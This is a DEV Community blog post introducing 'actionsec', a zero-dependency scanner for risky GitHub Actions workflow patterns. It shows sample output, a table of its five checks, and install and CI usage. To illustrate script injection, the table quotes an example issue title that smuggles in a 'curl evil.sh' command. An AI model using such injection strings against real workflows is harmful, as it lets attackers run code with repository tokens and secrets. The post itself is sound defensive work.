DEV Community

Cover image for A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised
benjamin
benjamin

Posted on

A zero-dep CLI that scans your GitHub Actions for the mistakes that actually get repos compromised

Your CI workflow is the softest target in your repo. It runs automatically, it
has a GITHUB_TOKEN that can push commits, and it can read your secrets. The
supply-chain attacks of 2025 — reviewdog, tj-actions/changed-files — all came
in through the same unlocked door: a workflow that trusted a mutable action
tag
, so when the upstream tag got repointed at malicious code, every consumer
ran it with full privileges.

The uncomfortable stat: 71% of repositories never pin their actions to a commit
SHA
.
@v4 is not a version — it's a
moving pointer someone else controls.

I wanted a five-second check for this and the other top footguns, with nothing to
install and nothing to configure. So I built actionsec.

npx actionsec
Enter fullscreen mode Exit fullscreen mode
.github/workflows/ci.yml
  ✗ critical  L12   pull-request-target-checkout  pull_request_target checks out PR head code — untrusted code runs with a write token
  ✗ critical  L16   script-injection              untrusted github.event.pull_request.title in a run step
  ✗ high      L5    broad-permissions             permissions: write-all gives the token full read/write
  ✗ high      L13   unpinned-action               some-marketplace/deploy-action@main is a mutable branch — pin to a SHA
  ✗ medium    L10   unpinned-action               actions/checkout@v4 is a mutable tag — pin to a SHA

✗ 5 issue(s) in 1 of 1 file(s) — 2 critical, 2 high, 1 medium
Enter fullscreen mode Exit fullscreen mode

The five checks

Check Why it matters
unpinned-action @v4 / @main is mutable. If the upstream tag is repointed (compromise or maintainer error), you run new code with your token. Pin to a 40-char SHA.
script-injection ${{ github.event.issue.title }} in a run: step is substituted into the shell before it runs — a crafted issue title like `"; curl evil.sh \
broad-permissions {% raw %}permissions: write-all hands the token the whole repo. One injected command and it's pushing to main.
missing-permissions No permissions: block means the repo default — often more than the job needs.
pull-request-target-checkout pull_request_target runs with a privileged token and secrets; checking out the PR's code then executes a stranger's code with them.

The interesting constraint: zero dependencies on YAML

Workflows are YAML, and here's the thing — neither Node nor Python ships a YAML
parser in the standard library.
Pulling one in would mean the tool itself has a
dependency tree (the exact thing a security tool shouldn't have).

So actionsec doesn't parse YAML into a tree at all. It scans line by line with
light block-awareness. That sounds crude, but it turns out every one of these
checks is textually distinctive — a uses: line, a ${{ }} expression inside
a run: block — so a careful line scanner catches them without ever needing to
understand the document structure. The payoff: it installs in one step, depends
on nothing, and runs in milliseconds. (It even distinguishes a third-party action
on a tag, high, from a GitHub-owned actions/* on a tag, medium.)

It is not trying to replace actionlint
(YAML/syntax validation) or zizmor (deep
dataflow analysis). It's the fast, zero-config first pass that fits in a pre-commit
hook or a one-line CI gate.

In CI

# fail the build on the serious stuff
- run: npx actionsec --min-severity high
Enter fullscreen mode Exit fullscreen mode

Exit 0 clean, 1 issues found, 2 error. --format json for tooling.

Install

npx actionsec          # Node — zero deps
pip install actionsec  # Python — pure stdlib, works on any repo
Enter fullscreen mode Exit fullscreen mode

Both produce byte-for-byte identical output.

Try it on your own repos

Point it at a repo you maintain — npx actionsec path/to/repo — and tell me what
it finds. I'm especially curious how many @v4s are hiding in workflows people
think of as "official and therefore safe."

When you write a workflow, do you pin actions to a SHA, or is @v4 good enough for
your threat model?

Top comments (2)

Collapse
 
alexshev profile image
Alex Shev

GitHub Actions is one of those places where small defaults have big security consequences. The useful scanner is not the one with the longest checklist; it is the one that catches the few patterns that actually turn into compromise: broad tokens, untrusted PR execution, unsafe checkout, and secrets crossing boundaries.

Collapse
 
_06a3df6b50aec966668fb profile image
benjamin

Well said! A security scanner shouldn't just be a laundry list of rules; catching these core patterns is what really matters. Thanks for the support!